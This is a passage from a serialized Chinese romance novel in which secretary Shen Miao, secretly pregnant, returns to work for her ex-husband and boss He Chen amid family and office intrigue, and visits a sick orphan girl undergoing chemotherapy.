路过赵母病床旁时,她将何之洲的名片留下。 “阿姨,拿着这个名片去找您想看的大夫就行。” 赵母接过名片,连声道谢,“谢谢你啊,姑娘,改天让我儿子请你吃饭!” 沈渺淡淡一笑,摇头,“不用,能帮到您就好。” 她浅聊了几句,离开病房。 乘电梯的人多,沈渺走楼梯到一楼。 刚走到大厅中央,她便看到贺忱推着程唯怡的轮椅,在电梯里出来。 程唯怡的小腿打着石膏,穿着白色连衣裙,腿上盖了一条粉色的毯子。 身后的男人穿着纯黑色西装,整个人透出一股生人勿进的冷意。 两旁的保镖开路,在人满为患的厅中,开辟出一条道路。 好巧不巧,沈渺站在道路尽头。 她反应过来,迅速准备离开,却为时已晚。 “沈渺。” 程唯怡先开口,声音柔柔的。 沈渺脚步顿住,转过头来,“贺总,程小姐。” “贺忱哥,我们过去。”程唯怡抓了抓贺忱的手。 贺忱‘嗯’了一声,推着她走到沈渺面前。 程唯怡抬头看着沈渺,“我替我妈向你道歉,她误会你了,为了我去找了你的麻烦,我希望你别放在心上。” 沈渺眼皮一颤,不解地看着程唯怡。 这还是那个心高气傲,在她面前耀武扬威的程唯怡吗? 替孙易琴认错? “我知道,因为我给你带来很多困扰,以后不会了,我希望你能继续留在百荣,帮贺忱哥排忧解难,可以吗?” 程唯怡一脸真诚。 从未见过她这副模样,沈渺辨不出这真诚中,有几分是真的! 难道,真是何之洲起了作用? 想要留在百荣的台阶,就这么水灵灵地来了。 可是沈渺总觉得,这台阶摇摇欲坠,令她心头隐隐不安。 但想到卷卷的医药费,想到她还需要钱—— “程小姐严重了,道歉算不上,误会解除了就好,以后能继续为贺总卖命,是我的荣幸。” 薄毯下,程唯怡的手紧紧攥着衣角。 可她脸上却是露出一丝笑容,“那就好,沈秘书真大度。” 说罢,两人的目光一同落在了贺忱身上。 贺忱的手未曾离开程唯怡的轮椅,目光却是凝着沈渺。 深褐色的眸底,倒映着沈渺精致的五官。 在沈渺看过来的那一刻,他移开目光。 “你怎么会到医院来。” “看望病人。”沈渺言简意赅,然后让开位置,“不打扰贺总接程小姐回家了。” 她面色疏离寡淡,退到人群一旁。 贺忱眸光增了几分漠然,推着程唯怡朝外面走去。 待他们走出大厅一会儿,沈渺才思绪回笼,动了动身体。 刚刚发生的一切,像做梦一样。 回百荣的事情,就这么解决了? 还是被程唯怡给解决的。 她朝医院大厅外走去,包里的手机冷不丁响起。 是商音。 商音先问了问卷卷的情况,然后话题转到她这儿。 “百荣还能待吗?要不求求何之洲,去九洲呢?” 沈渺留在百荣做后勤,工资也随之降下来。 那些钱,别说救济孤儿院,就连她自己的生活都难保障。 “回百荣。”沈渺如实将刚刚的事情,转达给商音。 “我不信这个女人这么好心!” 商音的直觉告诉她,程唯怡绝对不是发自内心的。 沈渺抿了下唇,她沉思了一会儿才说,“但凡何之洲那边有一点希望,我都不会再考虑回百荣。” 如果没有百荣条款的束缚,沈渺厚着脸皮求,也要求何之洲收她进九洲。 她站在僻静的地方打电话,并未发现右手边的柱子旁,伫立着一抹身影。 而她的话,一字不落的,落入贺忱的耳朵里。 他眼眸倏地冷下来。 75.就算要飞……也飞不出您的手掌心 ‘但凡何之洲那边有一点希望,我都不会再考虑回百荣。’ 这声音犹如魔音绕梁,每绕一遍,贺忱的脸色便要难看一分。 他鹰隼般的眸,盯着浑然不知的沈渺。 商音也赞同沈渺的话,一通抱怨后,叮嘱沈渺在百荣小心一些。 沈渺心间有些复杂,安静听她说。 最后商音那边传来孩子的哭声,她才又开口,“好了,你照顾孩子,不说了。” 电话挂断,她将手机揣回兜里,转身欲走。 冷不丁背脊一寒,目光不自觉朝一个方向看过去。 猝不及防撞入男人灼灼逼人的目光中,沈渺的喉咙一堵,宛若含了棉絮那般。 贺忱微眯的眼眸,蕴含着凌厉,令人不敢直视。 沈渺想装没看见,可是直愣愣的眼神撞击,想装都装不成。 她朝贺忱走了几步,微微颔首,“贺总,您还没走。” “嗯。”贺忱鼻腔里发出一个单音节,“沈秘书别太把唯怡的话放在心上,她心善,我不是非留你不可。” 沈渺心里‘咯噔’一声。 一句‘她心善’,让沈渺不知道该把自己往哪儿摆。 她轻咬着内唇,低垂着眼睑,掩藏住流转的眼波。 “想走就在离职协议书上签字。” 贺忱丢下这话,转身下了几层台阶,高挑的背影透着不可一世。 沈渺跨走两步台阶追上他,“那如果我不想走呢?” “翅膀硬了,哪有不飞的道理。”贺忱步伐阔绰,挺括的西裤熨贴在修长的双腿上。 他腿长走的快,沈渺需得小跑才跟得上。 “贺总说笑了,我翅膀再硬也是您提拔的,就算要飞……也飞不出您的手掌心。” 贺忱一向不稀得别人恭维的话语。 尤其前一秒刚听到沈渺的真心话,现在她虚假的话语更是让他不屑的。 可他睨了眼沈渺那低眉顺眼的样子。 怒意中涌出一股快感。 “明天上午九点半,准时到我办公室报道,你的去留,让秘书办的人投票决定。” 他姿态高昂,有着只要投票不通过,沈渺就别想回来的意思。 “好。”沈渺应了一声,目送贺忱清瘦修长的背影渐行渐远。 直至彻底不见,她掉头到公交岗亭等车。 她在秘书办的人缘不错,但那是以前。 不知经过这么多事情…… 这么一想,沈渺的心又微提起来。 晚上,张科研给沈渺打来电话。 “沈小姐,谢谢你。” 他言语间,透出几分激动。 他们的关系不过是点头之交,求沈渺是出于无奈。 但真没想到,沈渺能帮上忙。 “不用客气,希望阿姨没事。” 沈渺淡声道。 “等我忙完,改天有时间请你吃饭。”张科研说完,迅速添了一句,“千万不要拒绝,不然我难以安心。” “有机会的话,可以。” 沈渺听出他想还人情,只能答应。 浅短两句沟通后,通话结束。 而后张科研又在微信上给她发了个‘谢谢’。 沈渺没回,她满脑子都是明天回百荣的事情。 一整个晚上,她都没睡好。 次日一早九点,沈渺提前来了半个小时,在贺忱的办公室门口等着。 秘书办的人陆陆续续来了,都往沈渺这边看上一眼。 吴蕾看到她后,放下包就朝她跑过来。 “渺渺,你在这儿干嘛呢?” “等贺总上班。”沈渺说完,又问了句,“等会儿投票,秘书部……” 不等她将话说完,电梯门打开。 贺忱身着浅灰色西装,瘦削颀长的身影由远而近。 他步伐稳健,一双深沉的眼眸凌厉如注。 霎时,沈渺放弃了打听消息的念头。 吴蕾背对着她,并未发现贺忱来了,见她话说一半忍不住问,“什么投……” 没等说完,听见脚步声的吴蕾后知后觉明白了什么,迅速闭上嘴,退到一旁站着。 “贺总。” “贺总。” 两人异口同声。 贺忱顿了下,推门进入办公室。 吴蕾识趣退场,“我先去忙了。” 沈渺点了下头,转身跟着贺忱进入办公室。 清晨的阳光洒满整个办公室,将清一色冷色系的装修,镀上了一层金芒。 她站在办公桌前,站得笔直。 贺忱撩拨了下眼皮看着她,“你重新回来,有什么工作规划吗。” 沈渺眼眸微动,犹豫了下说,“分公司确实是一个好的历练机会。” “看来你对自己的定位不够清晰。”贺忱打量着她。 办公室落针可闻,来自贺忱身上那股逼仄感,直击沈渺脸颊。 沈渺识趣点头,“全听贺总安排。” “经过秘书部投票选举,你回来做秘书,愿意吗。” 听似询问的话,实则是问沈渺:唯一一条活路,你爱要不要。 沈渺早就做好了最坏的打算,那就是继续做贺忱的秘书。 可真到了这一步,她的心还是不可抑制地沉到谷底。 她垂眸看了眼微微有些隆起的肚子。 宽松的穿着,其实还不太显得出来。 但月份越大,肚子凸出得越快。 “看来,你不愿意。” 威严由头顶灌下来,沈渺所有的犹豫顿时打消。 她忙不迭点头,“我愿意,只是担心这么短时间内工作调动这么多,会有不好的影响。” “去找林昭,让他安排你回来。” 贺忱不理会她这些借口。 她转身欲走时,却听贺忱又开了口。 “既然决定回来,你应该知道什么该做,什么不该做。” 贺忱意有所指,那便是离何之洲远远的。 沈渺却是理解,那就是不能得罪程唯怡,不能再惹麻烦。 人在屋檐下不得不低头,而她得比别人低得更厉害。 “贺总放心,我知道。” 她单薄的背影微微颤了下,复又恢复步伐,离开办公室。 那一下,仿佛颤在了贺忱的心头,让贺忱的心里不舒服。 —— 贺家。 “渺渺又回来做秘书了?” 贺老夫人还在等沈渺考虑认干亲的事情。 谁知,却等来了沈渺又回秘书部的消息。 “对啊。”贺懿不理解,“不知道是我哥让她回来的,还是她自己要回来,但她回来会不会影响跟何之洲那啥?” 贺老夫人第一次觉得,旁观者不一定清。 她竟是看不明白,沈渺跟何之洲还有贺忱之间,到底怎么个情况。 “你确定,渺渺的孩子是何之洲的吗?” 76.离了婚要孩子?脑子长泡? “我,我当然确定了!” 沈渺怀了何之洲孩子的事情,已经在贺懿的心中根深蒂固了! 见贺老夫人如此质疑的语气,她理所当然地反问,“不是何之洲的,难不成还能是我哥的!” 贺老夫人越想越觉得不对。 “结婚两年她都没怀上我哥的孩子,离了婚我哥能让她怀上?” 贺懿不信。 她知道,沈渺跟贺忱结婚那两年,一直有做保护措施。 贺老夫人催过几次,贺忱都说不急,可见他是根本不打算跟沈渺要孩子的。 离了婚要?脑子长泡了? 贺老夫人一想也是,她叹息了声,“何家那边,我去探探口风。” 贺家跟何家没深仇大恨。 只是工作上冲突,两家的关系一直不温不热,再因为外界传言,导致两家互相端着。 “你要直接找人家商量渺渺的事情,人家不得跟你翻脸啊!” 贺懿想,不管何家同不同意沈渺进门。 最起码,何之洲那是个渣男,肯定不想负责是没跑了。 他们找上门让人家负责,何家就是有意交好,也会生气啊。 “先把两家关系缓和一下,再找机会谈渺渺的事情。” 贺老夫人早已有了一石二鸟的好机会。 “唉,希望渺渺能少吃一点苦。” 贺懿点头附和,“实在不行让我哥苦点儿,反正他好日子过多了。” 贺老夫人看她一眼,“没跟渺渺走到最后,你哥的日子已经开始苦了,再把程唯怡娶回来,你哥就真苦起来没完了。” “那你还认渺渺当孙女吗?”贺懿又问,“你说会不会有一天,渺渺跟我哥又可能了?” 贺老夫人:“……” 哪儿那么多可能? 但见傻孙女问这离谱的问题,竟然如此认真,她只能说,“认,他俩要是又有可能了,我再不认了就是。” 贺懿吸吸鼻子,反正就挺乱的。 当天下午,贺老夫人去了百荣集团。 彼时沈渺正在与林昭替贺忱开高层会议。 “奶奶,您怎么来了。” 贺忱起身,亲自给贺老夫人泡了一杯花茶。 贺老夫人坐下,问他,“忙什么呢?” “京北政圈的项目,需要扩增。”贺忱抬手扶额,“需要重新整理数据。” “这就是你抢了何之洲的那个项目吧?” 贺老夫人一语戳破。 贺忱不做声,算是默认。 “你要不抢人家生意,人家也不会曝光你的数据。” 贺老夫人对他的手笔,非常不满,“两家没深仇大恨,你来我往地斗下去就要斗出大问题来了。” 贺忱靠在办公桌旁,静听着贺老夫人的下文。 “找个机会缓和一下,何家那边托人,想让政圈的人开口,分一杯羹,政圈的人也有意答应,你干脆做个顺水人情,拉着何家一起做这个项目。” 贺老夫人说得有道理。 贺忱也在考虑这个问题。 若是以往,他肯定毫不犹豫就答应了。 可现在…… 他薄唇微抿,心里隐隐有些不舒服。 “宰相肚里能撑船,你有什么容不下何家那小子的?欠是欠了点儿,可人品不坏,这些年在你面前没少蹦跶,可没给你带来损失……” 贺老夫人喋喋不休地劝说。 最终,以贺忱‘再考虑一下’,终结了这个话题。 贺老夫人离开贺忱办公室,再出去时,沈渺已经开完会,回到工位上了。 “奶奶?” 沈渺看到她从贺忱办公室出来,迅速放下文件,起身走过去。 “渺渺啊。”贺老夫人慈祥地笑着,“累不累啊?” “不累。”沈渺摇头,“您到公司有事?” 贺老夫人看到她,就笑得合不拢嘴,“过来逛一圈,闷得慌想来看看你,上次奶奶跟你提的事情,你想好了没有?” 经她提醒,沈渺才想起来认干亲的事情。 那事儿太离谱,来得也太突然,她只觉得是贺老夫人一时兴起。 那股劲儿过去,这事儿也就过去了。 谁知,贺老夫人竟然还提。 “奶奶,真的不行。” 贺老夫人眼珠子一骨碌,在沈渺位置上坐下来了。 “其实,奶奶是想给你找个好人家。” 跟贺家攀上关系,沈渺的身份水涨船高。 别说嫁个富二代,只要贺老夫人撑腰撑得足,她得挑着京北的富二代嫁。 虽然嫁过人,但毕竟是隐婚没人知道。 沈渺长得漂亮,能力出众,又深受贺家喜欢,想攀附贺家的世家,都得想把沈渺娶回家。 沈渺知道贺老夫人的用意,她说,“奶奶,我暂时……不考虑这些。” “行,先不考虑。”贺老夫人转移话题,“那你工作若是有难处,尽管跟奶奶开口,奶奶给你做主。” 贺老夫人字字句句的关心,让沈渺心底的暖意,绵延不绝地涌上来。 两人正聊着,贺忱的办公室门突然打开。 沈渺下意识挺直背脊,面色恢复清冷。 “怕他干什么?”贺老夫人瞪了贺忱一眼,“奶奶说了算不算?” 贺忱薄唇轻启,吐出一个字,“算。” 他目光却是落在沈渺身上,让沈渺如抵刺芒。 “奶奶,等会儿贺总还有会议要开。” 沈渺看了看时间,距离会议就差十分钟了。 贺老夫人颤巍着起身,“你们忙,你记得有任何事情都可以跟奶奶说,打电话给我……” 沈渺送贺老夫人到电梯口,然后才折回来拿着东西,跟着贺忱去开会。 这次沈渺回来,虽然是无声无息的,可背地里员工之间传述,却是波涛汹涌。 主要是订婚宴都砸了,事情闹得太大了。 传说中沈渺这个‘罪魁祸首’,本来铁定要被开除。 谁知非但没有被开除,还回到贺忱身边了。 不少人都在猜,到底是什么情况! 回职的当天下午,明黎艳来到公司。 她所到之处,众人都屏住呼吸,再喧哗的场所都变得静悄悄。 电梯门一开,明黎艳身上那股来者不善的气息,一瞬充盈在整个顶层。 她目不斜视地盯着坐在秘书位的沈渺,阴沉的脸色一寸寸的变黑。 “明董。” 沈渺想忽略她不善的目光都难,可纵然忽略不了,也只能当没察觉到的。 该有的礼仪,还是要有,毕竟明黎艳身份摆在这里! 77.跟沈渺无关,您有问题找我 “守着点,不许任何人进来!” 明黎艳的怒气很浓,却是没有冲着她释放。 丢下两句话,明黎艳进入总裁办公室。 办公室的门‘砰’的一声被关上。 整栋大厦都被震得抖了三抖。 沈渺诧异地看向紧闭的房门,不光因为明黎艳竟是没冲她发火。 更是因为,明黎艳竟然对贺忱,这么大的怒气。 贺忱做了什么? 仅仅一门之隔,门外静得落针可闻。 门内吵得不可开交。 准确一些来说,是明黎艳单方面输出。 “你敢威胁唯怡,你让我怎么跟程家交代!” 贺忱端坐在办公桌前,任由明黎艳发泄怒火。 “贺忱,做人不能没良心!唯怡那么好的一个女孩子,你不珍惜就算了,怎么还能欺负她呢?” 明黎艳说累了,语气不由得软下来,又开始语重心长地劝。 贺忱见她冷静不少,不急不缓开口,“她是这么跟你们说的?” “当然不是。”明黎艳话里话外,站在程唯怡那边,“她从小就听你的话,你说什么她做什么,可程家人不是傻子。” 孙易琴收到程唯怡的消息,不再找沈渺麻烦时,心里就已经憋了火。 后来又得知,程唯怡当面跟沈渺认错,把沈渺给‘请’回公司的,立马给明黎艳打电话。 他们要问问,贺忱这是什么意思! “既然是程家人有意见,就让他们自己来找我。” 贺忱薄唇轻启,不愿与明黎艳争执。 明黎艳气结,“你说的这是什么话?将来你和唯怡结婚,那是你的岳父岳母,就算贺家比程家势力大,你也不能拿身份压人。” “那他们更该好好反思一下,仗着程家势力压沈渺,应不应该。” 贺忱骨廓分明的面容染着一丝凛然。 “你——”明黎艳眼前发黑,她指着贺忱的指尖颤抖着。 “程家若是还想合作,就消停一点。” 贺忱起身,拿上外套朝外面走,路过明黎艳身边时,停下来复又添了句。 “这事,跟沈渺无关,您有问题找我。” 说完他阔步走出办公室。 门一推开,沈渺下意识地看过来。 黑白分明的眼眸,撞入贺忱如墨色般的眼底时,她仿佛触了电,又迅速低下头继续忙。 “下班。”贺忱走到她办公桌旁,手指轻扣了两下桌面,“送我回去。” 沈渺迅速收拾东西,拿着包和外套跟上贺忱。 男人身上有股令人无法自控的强势。 除了怕他知道自己怀孕,沈渺宁愿跟他单独待着,也不愿意面对明黎艳。 不论是在嘴上还是手底下,她总是吃亏的那一个。 跟着贺忱,最多被渣扎扎心,无伤大雅。 不过她跟了贺忱这些年,也没见他们母子吵过架。 最近他们吵架的次数越来越频繁。 上次吵架是因为她。 那这次…… 肯定不是了,毕竟让她回来,是程唯怡的意思。 贺忱只是听程唯怡的话而已。 沈渺怎么也想不出,他们是因为什么吵架的。 只知道贺忱身上的气压很低,低到车厢里的空气逐渐稀薄。 半小时后,抵达目的地。 沈渺从车上下来,绕到后座开车门。 “贺总,到了。” 贺忱下车,整理着衣装,睨了眼微微佝偻着身体的沈渺。 她身形清瘦,宛若一颗松竹,看似弯弯佝偻着的身体,实则英挺得很。 他打量着,目光突然停顿在她身上不动了。 不知过了多久,他喉结滚动吐出两个字,“胖了。” 沈渺背脊一挺,吞了吞口水。 将近一个月的时间,她体重涨了十斤。 四肢变化不大,但身材肉眼可见的丰腴。 以前的裤子都穿不下,不仅腰不合适,翘臀也紧巴巴的,根本提不上。 在后勤部那几天,遇上之前秘书办的同事,她已经被好几个人说胖了。 如今连贺忱都看出来了…… “上了年纪,代谢不好,长期坐办公室容易长肉。” 她蹩脚的理由,并未引起贺忱怀疑什么。 毕竟,贺忱只是随口一说,对她的胖瘦根本不放在心上。 华灯初上,沈渺被路灯落下的一束灯光笼罩。 她小脸白净红润,乌发泛着光泽,比瘦的时候耐看许多。 贺忱的目光移开,将外套搭在臂弯上,绕过她朝别墅走去。 不过是再寻常不过的闲聊,却是令沈渺的心提到嗓子眼。 身后传来了开关门的声音,沈渺舒一口气,回到车上,驱车回家。 未来一周气温上升,沈渺翻找衣柜,将之前的衣服都试了一个遍,结果全都穿不下了。 明天周末,她约商音去逛街,买两套衣服,顺便去医院看看卷卷。 商音已经复工,每天都直播,忙得黑白颠倒。 “我都已经两个晚上,没有抱着小庭庭睡觉了。” 提起儿子,商音话里话外都是心疼。 她可不想当个‘甩手掌柜’妈妈。 原计划,给足孩子时间,最起码的陪伴要到位。 可如今因为卷卷生病,她现在就要复工。 愧疚让一向看得开的她,忍不住挎着一张脸。 小商庭已经三个多月,原本皱巴巴红彤彤的小脸长开了。 白白净净又细嫩的脸蛋,让人看了就喜欢。 正是讨人喜欢的时候,商音恨不得一天二十四个小时守着他。 天儿虽然冷,可商音还是把他带出来逛街。 沈渺低头看着白胖胖的小奶团子,心底软成一团。 “再忍忍,等我们攒到钱,你腾出时间来好好陪着他。” 她知道安慰起不到任何作用。 就像她不得不留下来,商音一直说,攒到钱就能走。 可她的危机感,随着留在贺忱身边,与日俱增。 商音看她一眼,见她眉头微微蹙着,挂着淡淡的忧愁,忍不住一声长叹。 “难姐难妹,算了,我们先上楼吧,楼上有一家孕、产妇专营店,里面卖职业装,肯定能找到适合你的。” 沈渺颔首,跟着她一起乘电梯上楼。 商音是这家店里的老顾客,两人一进去,服务员就热情地迎上来。 “帮她选两套孕妇装,不显肚子的那种。” 服务员打量了沈渺几眼,笑道,“这位小姐身材高挑又瘦,月份也不大,肚子很好遮。” “那行,你们去,我进母婴室给儿子换个纸尿裤。” 商音朝沈渺招手,推着婴儿车离开。 沈渺跟着服务员,走到一排职业裙装前。 “这些是孕期哺乳期都能穿的,您要不要试试看?”服务员介绍着。 沈渺极少穿连衣裙,可这些确实是最能遮肚子的。 她选得正认真时,目光猝不及防与透明玻璃外的两道目光撞上。 赫然是程唯怡跟孙易琴。 78.真动了沈渺,贺忱能怎么样? 门店招牌,清晰地写着‘母婴用品’。 几个大字跟站在里面的沈渺,格格不入。 孙易琴想起上次跟沈渺争执间,看到沈渺扶着肚子。 她目光顿时警惕起来。 “她来这儿干什么?” 程唯怡坐在轮椅上,面色诧异,并未想到那一层去。 孙易琴推着程唯怡就往店里走,“去看看不就知道了!正好还没跟她算账呢……” “妈!”程唯怡想到贺忱的话,反手拉住孙易琴,“万一她告诉贺忱哥,贺忱哥生气怎么办?” 提起这事儿,孙易琴就窝火。 明黎艳找过贺忱后,让她放心,沈渺成为不了贺忱与程唯怡在一起的阻碍。 避重就轻不谈贺忱为了沈渺,欺负程唯怡。 分明就是管不了贺忱,只能敷衍她。 她倒不信了,真动了沈渺,贺忱能怎么样? “他答应了娶你,这就是板上钉钉的事情,你还怕他反悔不成?” 程唯怡纵然不甘,可这么多次的‘交锋’,她最终算是处于下风的。 “等我跟贺忱哥结婚,彻底成为贺家少夫人的时候,再跟她计较也不迟。” 她不得不稳扎稳打。 孙易琴拉开她挡着轮椅的手,“这种人欺软怕硬,你现在要是退缩了,她蹬鼻子上脸,下一步就是破坏你跟贺忱了!” “不会的,贺忱哥说过会对我负责,就一定会负责。” 程唯怡听不得孙易琴的话。 母女两个争辩着时,商音推着婴儿车出来了。 她停在沈渺身边,挽住了沈渺肩膀。 “妈,你等等。”程唯怡开口道,“她是陪着朋友来的,你看。” 孙易琴看过去,欲过去的动作停下来。 “而且她怀不怀孕,跟我们有什么关系?” 程唯怡极力劝说孙易琴,“我们走吧!” 此时,店内的商音回头看出来,那张明艳的小脸上,写着‘不好惹’三个字。 孙易琴冷哼了一声,推着程唯怡离开。 “她一直跟在贺忱身边,要是真怀孕了,不得弄清楚孩子是谁的啊……” 她碎碎念着,念得程唯怡一阵胆战心惊。 程唯怡忍不住又回头看了一眼。 刚好看到商音从店员手里接过一件衣服。 应该是沈渺陪着她朋友来买衣服吧? 店内。 “程唯怡她妈,一看就是个老不好惹的。” 商音把衣服还给店员,往她们离开的方向看了一眼。 沈渺在被迫留下的那一刻,就做好了被发现怀孕的准备。 只不过是早晚的事情。 只是当这一刻,即将来临时,她的心不可避免地慌了一下。 “要不,我们现在走?”商音看她脸色不太好,提议道。 沈渺摇头,“不用,来都来了,选完衣服再走。” 她挑选了两件连衣裙,一件亮橙色一件黑色。 截然不同的颜色和款式,让一直穿死板职业装的她,增添了几分靓丽。 临近中午,她们提前给浅姨打电话,告诉浅姨她们买了午餐带过去。 商音让月嫂把孩子带回家了。 医院,她们到的时候才知道,卷卷换病房了。 “就是你认识的那位何先生,他给换的,说孩子需要环境好一点,好养病。” 浅姨解释。 VIP病房,房间里除了一张病床,还有一张陪床。 沙发小桌都是全套的,还有电视机。 四周也安静,像在家里一样,环境确实好。 “这……”商音下意识说,“得不少钱吧?” 这病房比普通病房的费用高了至少十几倍。 “何先生说住院费用他承担了,医药费我们……你们拿。” 浅姨将她们带来的午餐打开,挨个摆放。 沈渺走到病床前,看着戴着黑色小帽子的卷卷,“在房间里,怎么还戴帽子呢?” 她说完,才发现小姑娘的眼眶通红。 “怎么了?” 卷卷吸吸鼻子,眼底立刻涌出泪水,“浅姨把我的头发剪了。” 沈渺一怔,掀开她帽子一角看了看。 原本乌黑明亮的头发,现在变得光秃秃。 “哭什么?”浅姨坐下来说,“我不是跟你说了,咱们生病了就要把头发剪掉,不然也是全掉光了,到时候掉的哪儿都是。” 卷卷耷拉着脑袋,默默落泪。 “卷卷乖,头发还能再长出来的。” 沈渺抽过一张纸,给卷卷擦眼泪。 “可是要长好久。” 卷卷豆大的泪珠一颗颗地往下掉。 沈渺轻声安抚,“改天我给你买一顶假发,比你原来的头发还长的,你可以一直戴着,戴到你的头发长到原来的长度,好不好?” 闻言,卷卷这才不落泪了,“真的吗?” “当然。”沈渺点头。 浅姨在一旁插了句,“她剪的头发总共卖了两百块钱,你买假发还得往里搭钱……” “你把她头发卖了?”商音不乐意了,“我就说,她刚开始化疗头发没这么快掉!” 卷卷抿着小嘴,低着头不说话。 “迟早要掉的啊,等她头发开始掉了就卖不掉了啊!” 浅姨说完,话锋一转道,“我这还不是为了给她治病,能多卖点钱是一点啊!” 眼看她们要吵起来,沈渺捂住了卷卷耳朵,喊了商音一声,“音音。” 她暗暗摇头。 商音将火气压下去,硬扯出一个笑脸来,走到卷卷旁边。 “行,卷卷乖,我也给你买一顶假发,买跟你名字一样卷卷的,两顶,你换着戴……” 两人轮流哄,卷卷这才破涕为笑。 沈渺哄她吃饭,她吃了不少。 卷卷的手背一片触目惊心的青紫,都是扎针留下的。 原本就有些恬静的姑娘,这一生病,在医院待久了,更为沉默寡言。 沈渺和商音陪了她一下午,她的心情才好了些。 傍晚,两人各自回家。 做贺忱的秘书,高工资高待遇是真,但假期少也是真。 沈渺每周只能休息一天。 隔日,贺忱早上六点有个国际会议。 沈渺五点就爬起来收拾一番,往公司赶。 提前开启了线上会议室,待贺忱到了会议刚好开始。 例行通报的会议,沈渺不用做记录,便推出办公室等着。 一早工作不多,她在工位上小憩补觉。 手机冷不丁响起,办公室的静谧被打破。 她迅速拿过手机接起,“奶奶?” 79.确实更加性感成熟 电话那端,贺老夫人声音中气十足。 “渺渺,过几天你爷爷七十八岁生日,你抽出时间来一起吃个饭啊?” 沈渺犹豫,是在找拒绝的说辞,既能让贺老夫人痛快同意她不去,又能不让贺老夫人难过。 “放心,咱们单独出去吃饭,不办寿宴,就带着小懿。” 贺老夫人见她沉默,便知她在想什么。 沈渺看了看时间,贺老爷子生日那天是周三。 “我工作……”怕是脱不开身。 “你哪有不忙的时候?” 贺老夫人语气顿时压下来。 不过她不是怪沈渺的意思,她是理解沈渺真的忙。 “奶奶有好办法。” 沈渺不禁莞尔,“奶奶办法最多了,我先谢谢您。” 贺老夫人和贺老爷子的好意与关心,是她发自内心渴望的亲情。 她做不到拒绝。 “你爷爷喜欢吃你烤的小饼干,到时候你带一些过来,就当生日礼物了。” 贺老夫人顺带点名了礼物,生怕沈渺买贵重的。 沈渺心底更暖更软了些,“好,全听奶奶的。” 电话挂断,她精致的五官柔和。 半敞的办公室门,男人伫立在那儿,将她的话一字不落听入耳中。 他握着门把的手松开,办公室门彻底敞开来。 细碎的声音,扯回沈渺的思绪。 沈渺循声看去,立刻起身,“贺总。” “奶奶找你有事?”贺忱踱步而来,停在她面前。 “就……不是奶奶找我。”沈渺极少撒谎,她黑白分明的眼眸闪烁着。 男人目光如注,一眼看出她在撒谎。 她喉咙紧了紧,背脊僵着把这个谎扯下去,“是我给奶奶打的,不小心打错了,聊了两句。” 纵然贺忱的目光快要将她戳出一个洞来,可他并未拆穿她的谎言。 “泡杯咖啡。” 他嗓音涔涔,夹杂着对她撒谎的不满。 沈渺觉得不该说是自己打给贺老夫人的。 贺忱肯定不想让她再跟贺老夫人保持联系。 一时慌乱口不择言。 只庆幸贺忱没有深问,她点了下头去泡咖啡。 贺忱折身回到办公室,落座在办公桌前,继而忙碌起其他事情。 办公室的门敞开着,陆续有人来上班。 李白恬的声音传来。 “哇,渺渺姐你今天穿得好漂亮啊!” “是吗。”沈渺声音绵绵柔和,却又带着一股利落,“早。” 李白恬嬉笑着,“是啊,比以前显得温柔大气!” 沈渺穿的什么? 贺忱的眉头一拧,却想不起来。 早上他来时,沈渺已经将会议整顿好,人在外面工位上坐下。 刚刚出去时,沈渺依旧是坐着的。 正想着,沈渺端着咖啡从外面走进来。 浓郁的咖啡香味在办公室里弥漫开来。 贺忱的目光不自觉落在朝这边走来的沈渺。 她穿了一件黑色连衣裙,肩膀有些镂空设计,隐隐能看到性感的锁骨。 腰腹处褶皱设计衬得她腰肢更为细,却圆润丰腴。 比起以前死板的白衬衫、包臀裙,确实更加性感成熟。 “贺总,咖啡好了。” 沈渺将咖啡放在桌上,她白净的小手指尖微微泛红。 “我看十点钟临时增加了一个会议,没写主题,是什么会议?” 她刚刚看了电子行程表,十点钟的会议是公司各部门高层一起开的。 昨天下午林昭约的会议室,她不在所以不清楚具体内容。 说完她才看到贺忱打量的目光。 对上她黑白分明的眼眸,贺忱的眸光一深,喉结滚动道,“政圈项目,准备跟九州联手做。需要另组队伍与九州的人对接。” 沈渺知道这件事情,她点了点头,“那我为会议做准备。” 说完她转身离开。 黑色的连衣裙下,她那两条腿细长又有些许肉感,嫩白又光滑。 贺忱垂下眼帘,单薄的眼皮遮住眸色里逐渐躁动的情绪。 良久他喉结滚动,骨节分明的手端过咖啡杯,递到嘴边抿了一口。 苦涩在唇腔里化开,浓郁的咖啡味萦绕在他鼻翼。 咖啡不似烟酒,不会让他上瘾。 可许久不喝,他便觉得少些什么。 尤其,沈渺冲泡的咖啡,味道更独特。 在公司各部门提拔出人,另组队伍跟九州对接,是一项艰巨的任务。 各部门都将人员备选名单递过来了,沈渺过筛了一遍。 这些人都是在百荣有三年工作经验以上的,曾经参与过百荣大项目。 沈渺初步做出两个小组名单,这些人各取所长,交给贺忱备选。 十点钟,会议正式开始。 董事们对这件事情,也很在意,开启了线上远程会议。 会议室里静悄悄的,贺忱就沈渺做出的两个初步名单,进行了深入分析。 最终,投票一致选择一队。 “队伍是有了,可……谁带队呢?” 公关部经理抛出疑问。 “队中择优。”贺忱并不打算在这支队伍上,太浪费心神。 光明正大的合作,不怕九州的人耍心眼,这么多双眼睛看着呢,他想何之洲也不会那么蠢动手脚。 高层们纷纷点头,赞同贺忱的话。 沈渺却觉得不妥,她适时宜开口,“小组每个人资历差不多,突然拎出来一个人统筹,只怕会有内部矛盾,反而让外人看了笑话。” 她是从底层做起来的,清楚地知道每一个阶段的员工,是什么心理的。 贺忱眉梢轻挑,漆黑的瞳仁看向她,“那沈秘书说说,谁来合适。” 沈渺沉默,她只是提出意见,但没有合适的人选。 “我有个人选。” 视频会议那端,突然传来一道熟悉的声音。 这声音一出,办公室的人脸色都凝重了不少。 贺老爷子手中是有百荣股份的,是跺跺脚公司就能抖三抖的存在。 只是他近些年深居简出,不管公司的事情。 同样进行视频会议的其他董事,纷纷开口,先与贺老爷子寒暄,然后询问那合适的人选是谁。 贺老爷子沉声开口,“就让沈秘书来吧,她跟了贺忱这么久,忠心可鉴,又有打理分公司的经验,一定能做好。” “确实,沈秘书的能力,我们有目共睹。” “之前还因为九州,误会过沈秘书,这是个她自证清白的好机会…” 董事们纷纷赞同,谁也不驳贺老爷子的面子。 他们说的都有道理,但办公室的温度肉眼可见地冷下来。 众人纷纷打量首位男人的脸色。 贺忱身上气压低得吓人,他眯起泛着危险的眸子直逼沈渺脸颊。 80.那个孩子……怎么样了 “我工作……” “奶奶办法最多了,我先谢谢您。” 早上,沈渺捧着手机打电话的话,重播在贺忱的脑海里。 